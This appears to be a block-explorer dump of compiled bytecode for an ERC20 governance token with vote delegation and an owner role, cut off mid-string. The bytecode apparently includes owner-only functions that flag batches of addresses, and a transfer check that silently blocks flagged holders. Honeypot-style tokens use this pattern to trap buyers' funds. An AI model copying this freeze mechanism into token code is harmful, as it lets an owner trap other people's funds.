1e5414610409578063a457c2d7146104255761018e565b8063395093511161014b5780635c19a95c116101255780635c19a95c146102e75780636fcfff451461030357806370a0823114610333578063715018a6146103635761018e565b8063395093511461026b5780634bf894411461029b578063587cde1e146102b75761018e565b806306fdde0314610193578063095ea7b3146101b157806318160ddd146101e157806320606b70146101ff57806323b872dd1461021d578063313ce5671461024d575b600080fd5b61019b610580565b6040516101a89190612038565b60405180910390f35b6101cb60048036038101906101c691906120f8565b610612565b6040516101d89190612153565b60405180910390f35b6101e9610635565b6040516101f6919061217d565b60405180910390f35b61020761063f565b60405161021491906121b1565b60405180910390f35b610237600480360381019061023291906121cc565b610663565b6040516102449190612153565b60405180910390f35b610255610692565b604051610262919061223b565b60405180910390f35b610285600480360381019061028091906120f8565b61069b565b6040516102929190612153565b60405180910390f35b6102b560048036038101906102b091906122bb565b6106d2565b005b6102d160048036038101906102cc9190612308565b610785565b6040516102de9190612344565b60405180910390f35b61030160048036038101906102fc9190612308565b6107ee565b005b61031d60048036038101906103189190612308565b6107fb565b60405161032a919061237e565b60405180910390f35b61034d60048036038101906103489190612308565b61081e565b60405161035a919061217d565b60405180910390f35b61036b610867565b005b610387600480360381019061038291906120f8565b61087b565b604051610394919061217d565b60405180910390f35b6103b760048036038101906103b29190612308565b610c52565b6040516103c4919061217d565b60405180910390f35b6103d5610c6a565b6040516103e29190612344565b60405180910390f35b6103f3610c93565b6040516104009190612038565b60405180910390f35b610423600480360381019061041e91906122bb565b610d25565b005b61043f600480360381019061043a91906120f8565b610dd2565b60405161044c9190612153565b60405180910390f35b61046f600480360381019061046a91906120f8565b610e49565b60405161047c9190612153565b60405180910390f35b61049f600480360381019061049a9190612308565b610e6c565b6040516104ac919061217d565b60405180910390f35b6104cf60048036038101906104ca9190612399565b610f4b565b6040516104dc919061217d565b60405180910390f35b6104ed610fd2565b6040516104fa91906121b1565b60405180910390f35b61051d60048036038101906105189190612308565b610ff6565b60405161052a9190612153565b60405180910390f35b61054d60048036038101906105489190612405565b61104c565b60405161055b929190612445565b60405180910390f35b61057e60048036038101906105799190612308565b61108d565b005b60606005805461058f9061249d565b80601f01602080910402602001604051908101604052809291908181526020018280546105bb9061249d565b80156106085780601f106105dd57610100808354040283529160200191610608565b820191906000526020600020905b8154815290600101906020018083116105eb57829003601f168201915b5050505050905090565b60008061061d611111565b905061062a818585611119565b600191505092915050565b6000600454905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60008061066e611111565b905061067b8582856112e4565b610686858585611370565b60019150509392505050565b60006012905090565b6000806106a6611111565b90506106c78185856106b88589610f4b565b6106c291906124fe565b611119565b600191505092915050565b6106da6115eb565b60005b828290508110156107805760006002600085858581811061070157610700612554565b5b90506020020160208101906107169190612308565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806001019050808061077890612583565b9150506106dd565b505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6107f83382611669565b50565b60096020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61086f6115eb565b61087960006117da565b565b60004382106108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b69061263e565b60405180910390fd5b6000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16141561092c576000915050610c4c565b82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018461097b919061265e565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610a2857600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610a02919061265e565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610c4c565b82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610aa9576000915050610c4c565b600080600183610ab9919061265e565b90505b8163ffffffff168163ffffffff161115610be657600060028383610ae0919061265e565b610aea91906126c1565b82610af5919061265e565b90506000600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff161415610bb557806020015195505050505050610c4c565b86816000015163ffffffff161015610bcf57819350610bdf565b600182610bdc919061265e565b92505b5050610abc565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600b6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610ca29061249d565b80601f0160208091040260200160405190810160405280929190818152602001828054610cce9061249d565b8015610d1b5780601f10610cf057610100808354040283529160200191610d1b565b820191906000526020600020905b815481529060010190602001808311610cfe57829003601f168201915b5050505050905090565b610d2d6115eb565b60005b82829050811015610dcd57600160026000858585818110610d5457610d53612554565b5b9050602002016020810190610d699190612308565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610dc590612583565b915050610d30565b505050565b600080610ddd611111565b90506000610deb8286610f4b565b905083811015610e30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2790612764565b60405180910390fd5b610e3d8286868403611119565b60019250505092915050565b600080610e54611111565b9050610e61818585611370565b600191505092915050565b600080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610ed6576000610f43565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610f24919061265e565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600a602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b6110956115eb565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611105576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fc906127f6565b60405180910390fd5b61110e816117da565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118090612888565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f09061291a565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112d7919061217d565b60405180910390a3505050565b60006112f08484610f4b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461136a578181101561135c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135390612986565b60405180910390fd5b6113698484848403611119565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790612a18565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611450576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144790612aaa565b60405180910390fd5b61145b83838361189e565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d990612b3c565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115d2919061217d565b60405180910390a36115e58484846119a0565b50505050565b6115f3611111565b73ffffffffffffffffffffffffffffffffffffffff16611611610c6a565b73ffffffffffffffffffffffffffffffffffffffff1614611667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165e90612ba8565b60405180910390fd5b565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060006116d88461081e565b905082600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46117d48284836119a5565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061193f5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561199b5760011515600760009054906101000a900460ff1615151461199a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199190612bee565b60405180910390fd5b5b505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119e15750600081115b15611c4157600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b13576000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611a84576000611af1565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611ad2919061265e565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060008382611b019190612c0e565b9050611b0f86848484611c46565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c40576000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611bb1576000611c1e565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611bff919061265e565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060008382611c2e91906124fe565b9050611c3c85848484611c46565b5050505b5b505050565b6000611c6a43604051806060016040528060368152602001612d3860369139611f49565b905060008463ffffffff16118015611d0857508063ffffffff16600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187611cd2919061265e565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611d825781600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187611d5c919061265e565b63ffffffff1663ffffffff16815260200190815260200160002060010181905550611ef2565b60405180604001604052808263ffffffff16815260200183815250600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff16600185611e419190612c42565b63ffffffff1611611e87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7e90612cee565b60405180910390fd5b600184611e949190612c42565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611f3a929190612d0e565b60405180910390a25050505050565b600064010000000083108290611f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8c9190612038565b60405180910390fd5b5082905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fd9578082015181840152602081019050611fbe565b83811115611fe8576000848401525b50505050565b6000601f19601f8301169050919050565b600061200a82611f9f565b6120148185611faa565b9350612024818560208601611fbb565b61202d81611fee565b840191505092915050565b600060208201905081810360008301526120528184611fff565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061208f82612064565b9050919050565b61209f81612084565b81146120aa57600080fd5b50565b6000813590506120bc81612096565b92915050565b6000819050919050565b6120d5816120c2565b81146120e057600080fd5b50565b6000813590506120f2816120cc565b92915050565b6000806040838503121561210f5761210e61205a565b5b600061211d858286016120ad565b925050602061212e858286016120e3565b9150509250929050565b60008115159050919050565b61214d81612138565b82525050565b60006020820190506121686000830184612144565b92915050565b612177816120c2565b82525050565b6000602082019050612192600083018461216e565b92915050565b6000819050919050565b6121ab81612198565b82525050565b60006020820190506121c660008301846121a2565b92915050565b6000806000606084860312156121e5576121e461205a565b5b60006121f3868287016120ad565b9350506020612204868287016120ad565b9250506040612215868287016120e3565b9150509250925092565b600060ff82169050919050565b6122358161221f565b82525050565b6000602082019050612250600083018461222c565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261227b5761227a612256565b5b8235905067ffffffffffffffff8111156122985761229761225b565b5b6020830191508360208202830111156122b4576122b3612260565b5b9250929050565b600080602083850312156122d2576122d161205a565b5b600083013567ffffffffffffffff8111156122f0576122ef61205f565b5b6122fc85828601612265565b92509250509250929050565b60006020828403121561231e5761231d61205a565b5b600061232c848285016120ad565b91505092915050565b61233e81612084565b82525050565b60006020820190506123596000830184612335565b92915050565b600063ffffffff82169050919050565b6123788161235f565b82525050565b6000602082019050612393600083018461236f565b92915050565b600080604083850312156123b0576123af61205a565b5b60006123be858286016120ad565b92505060206123cf858286016120ad565b9150509250929050565b6123e28161235f565b81146123ed57600080fd5b50565b6000813590506123ff816123d9565b92915050565b6000806040838503121561241c5761241b61205a565b5b600061242a858286016120ad565b925050602061243b858286016123f0565b9150509250929050565b600060408201905061245a600083018561236f565b612467602083018461216e565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124b557607f821691505b602082108114156124c9576124c861246e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612509826120c2565b9150612514836120c2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612549576125486124cf565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061258e826120c2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156125c1576125c06124cf565b5b600182019050919050565b7f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b6000612628602783611faa565b9150612633826125cc565b604082019050919050565b600060208201905081810360008301526126578161261b565b9050919050565b60006126698261235f565b91506126748361235f565b925082821015612687576126866124cf565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006126cc8261235f565b91506126d78361235f565b9250826126e7576126e6612692565b5b828204905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061274e602583611faa565b9150612759826126f2565b604082019050919050565b6000602082019050818103600083015261277d81612741565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006127e0602683611faa565b91506127eb82612784565b604082019050919050565b6000602082019050818103600083015261280f816127d3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612872602483611faa565b915061287d82612816565b604082019050919050565b600060208201905081810360008301526128a181612865565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612904602283611faa565b915061290f826128a8565b604082019050919050565b60006020820190508181036000830152612933816128f7565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612970601d83611faa565b915061297b8261293a565b602082019050919050565b6000602082019050818103600083015261299f81612963565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612a02602583611faa565b9150612a0d826129a6565b604082019050919050565b60006020820190508181036000830152612a31816129f5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612a94602383611faa565b9150612a9f82612a38565b604082019050919050565b60006020820190508181036000830152612ac381612a87565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612b26602683611faa565b9150612b3182612aca565b604082019050919050565b60006020820190508181036000830152612b5581612b19565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b92602083611faa565b9150612b9d82612b5c565b602082019050919050565b60006020820190508181036000830152612bc181612b85565b9050919050565b50565b6000612bd8600083611faa565b9150612be382612bc8565b600082019050919050565b60006020820190508181036000830152612c0781612bcb565b9050919050565b6000612c19826120c2565b9150612c24836120c2565b925082821015612c3757612c366124cf565b5b828203905092915050565b6000612c4d8261235f565b9150612c588361235f565b92508263ffffffff03821115612c7157612c706124cf565b5b828201905092915050565b7f434f464645453a3a5f7772697465436865636b706f696e743a206e657720636860008201527f65636b706f696e74206578636565647320333220626974730000000000000000602082015250565b6000612cd8603883611faa565b9150612ce382612c7c565b604082019050919050565b60006020820190508181036000830152612d0781612ccb565b9050919050565b6000604082019050612d23600083018561216e565b612d30602083018461216e565b939250505056fe434f464645453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a2646970667358221220284ccdd63a97d7ce54a18fbc5556bcc5b4a79d6f01fc34f3521c994473b824d064736f6c634300080c0033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063782d6fe1116100de578063a9059cbb11610097578063e7a324dc11610071578063e7a324dc146104e5578063ec9a64f414610503578063f1127ed814610533578063f2fde38b146105645761018e565b8063a9059cbb14610455578063b4b5ea5714610485578063dd62ed3e146104b55761018e565b8063782d6fe11461036d5780637ecebe001461039d5780638da5cb5b146103cd57806395d89b41146103eb578063963e1e5414610409578063a457c2d7146104255761018e565b8063395093511161014b5780635c19a95c116101255780635c19a95c146102e75780636fcfff451461030357806370a0823114610333578063715018a6146103635761018e565b8063395093511461026b5780634bf894411461029b578063587cde1e146102b75761018e565b806306fdde0314610193578063095ea7b3146101b157806318160ddd146101e157806320606b70146101ff57806323b872dd1461021d578063313ce5671461024d575b600080fd5b61019b610580565b6040516101a89190612038565b60405180910390f35b6101cb60048036038101906101c691906120f8565b610612565b6040516101d89190612153565b60405180910390f35b6101e9610635565b6040516101f6919061217d565b60405180910390f35b61020761063f565b60405161021491906121b1565b60405180910390f35b610237600480360381019061023291906121cc565b610663565b6040516102449190612153565b60405180910390f35b610255610692565b604051610262919061223b565b60405180910390f35b610285600480360381019061028091906120f8565b61069b565b6040516102929190612153565b60405180910390f35b6102b560048036038101906102b091906122bb565b6106d2565b005b6102d160048036038101906102cc9190612308565b610785565b6040516102de9190612344565b60405180910390f35b61030160048036038101906102fc9190612308565b6107ee565b005b61031d60048036038101906103189190612308565b6107fb565b60405161032a919061237e565b60405180910390f35b61034d60048036038101906103489190612308565b61081e565b60405161035a919061217d565b60405180910390f35b61036b610867565b005b610387600480360381019061038291906120f8565b61087b565b604051610394919061217d565b60405180910390f35b6103b760048036038101906103b29190612308565b610c52565b6040516103c4919061217d565b60405180910390f35b6103d5610c6a565b6040516103e29190612344565b60405180910390f35b6103f3610c93565b6040516104009190612038565b60405180910390f35b610423600480360381019061041e91906122bb565b610d25565b005b61043f600480360381019061043a91906120f8565b610dd2565b60405161044c9190612153565b60405180910390f35b61046f600480360381019061046a91906120f8565b610e49565b60405161047c9190612153565b60405180910390f35b61049f600480360381019061049a9190612308565b610e6c565b6040516104ac919061217d565b60405180910390f35b6104cf60048036038101906104ca9190612399565b610f4b565b6040516104dc919061217d565b60405180910390f35b6104ed610fd2565b6040516104fa91906121b1565b60405180910390f35b61051d60048036038101906105189190612308565b610ff6565b60405161052a9190612153565b60405180910390f35b61054d60048036038101906105489190612405565b61104c565b60405161055b929190612445565b60405180910390f35b61057e60048036038101906105799190612308565b61108d565b005b60606005805461058f9061249d565b80601f01602080910402602001604051908101604052809291908181526020018280546105bb9061249d565b80156106085780601f106105dd57610100808354040283529160200191610608565b820191906000526020600020905b8154815290600101906020018083116105eb57829003601f168201915b5050505050905090565b60008061061d611111565b905061062a818585611119565b600191505092915050565b6000600454905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60008061066e611111565b905061067b8582856112e4565b610686858585611370565b60019150509392505050565b60006012905090565b6000806106a6611111565b90506106c78185856106b88589610f4b565b6106c291906124fe565b611119565b600191505092915050565b6106da6115eb565b60005b828290508110156107805760006002600085858581811061070157610700612554565b5b90506020020160208101906107169190612308565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806001019050808061077890612583565b9150506106dd565b505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6107f83382611669565b50565b60096020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61086f6115eb565b61087960006117da565b565b60004382106108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b69061263e565b60405180910390fd5b6000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16141561092c576000915050610c4c565b82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018461097b919061265e565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610a2857600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610a02919061265e565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610c4c565b82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610aa9576000915050610c4c565b600080600183610ab9919061265e565b90505b8163ffffffff168163ffffffff161115610be657600060028383610ae0919061265e565b610aea91906126c1565b82610af5919061265e565b90506000600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff161415610bb557806020015195505050505050610c4c565b86816000015163ffffffff161015610bcf57819350610bdf565b600182610bdc919061265e565b92505b5050610abc565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600b6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610ca29061249d565b80601f0160208091040260200160405190810160405280929190818152602001828054610cce9061249d565b8015610d1b5780601f10610cf057610100808354040283529160200191610d1b565b820191906000526020600020905b815481529060010190602001808311610cfe57829003601f168201915b5050505050905090565b610d2d6115eb565b60005b82829050811015610dcd57600160026000858585818110610d5457610d53612554565b5b9050602002016020810190610d699190612308565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610dc590612583565b915050610d30565b505050565b600080610ddd611111565b90506000610deb8286610f4b565b905083811015610e30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2790612764565b60405180910390fd5b610e3d8286868403611119565b60019250505092915050565b600080610e54611111565b9050610e61818585611370565b600191505092915050565b600080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610ed6576000610f43565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610f24919061265e565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600a602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b6110956115eb565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611105576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fc906127f6565b60405180910390fd5b61110e816117da565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118090612888565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f09061291a565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112d7919061217d565b60405180910390a3505050565b60006112f08484610f4b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461136a578181101561135c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135390612986565b60405180910390fd5b6113698484848403611119565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790612a18565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611450576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144790612aaa565b60405180910390fd5b61145b83838361189e565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d990612b3c565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffff